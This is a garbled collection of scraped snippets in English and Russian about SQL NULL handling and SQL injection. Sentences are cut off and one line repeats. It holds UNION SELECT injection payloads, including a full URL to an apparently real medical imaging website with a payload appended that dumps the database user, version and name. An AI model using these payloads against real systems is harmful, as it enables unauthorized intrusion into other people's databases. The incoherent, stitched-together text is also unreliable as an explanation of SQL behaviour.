Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a query that has the same number
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
· Using SELECT COUNT(*) or SELECT COUNT(1) (which is what I prefer to use) will return the total of all records returned in the result set regardless of NULL values.
Viewing and COUNTing the NULLs. Sometimes we might have to do the opposite of what the default functionality does when using DISTINCT and COUNT
Разрешение значений NULL в определениях столбцов вводит в приложение логику трех значений.Allowing null values
A field with a NULL value is a field with no value. If a field in a table is optional, it is possible to insert a new record or update a record without adding a value to this